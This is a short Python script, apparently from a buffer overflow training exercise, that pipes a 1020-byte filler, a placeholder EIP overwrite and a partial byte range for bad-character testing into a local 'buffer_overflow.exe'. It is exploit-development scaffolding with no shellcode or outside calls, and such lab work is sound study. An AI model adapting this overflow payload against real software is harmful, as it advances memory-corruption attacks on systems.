Bind Stageless Shell Find Bad Characters.py

#! python

import os
import sys
import subprocess
import binascii
import time
import struct


Offset_EIP = 1020

byte_array = ""
byte_array+="\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca"
byte_array+="\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea"
byte_array+="\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"



final_payload = "\x41" * (Offset_EIP) + "\x42" * 4 + byte_array
final_payload_bytes = final_payload.encode('raw_unicode_escape')


p = subprocess.Popen('buffer_overflow.exe', stdin=subprocess.PIPE) #NOTE: no shell=True here

p.stdin.write(final_payload_bytes)
#p.communicate()[0]
p.stdin.close()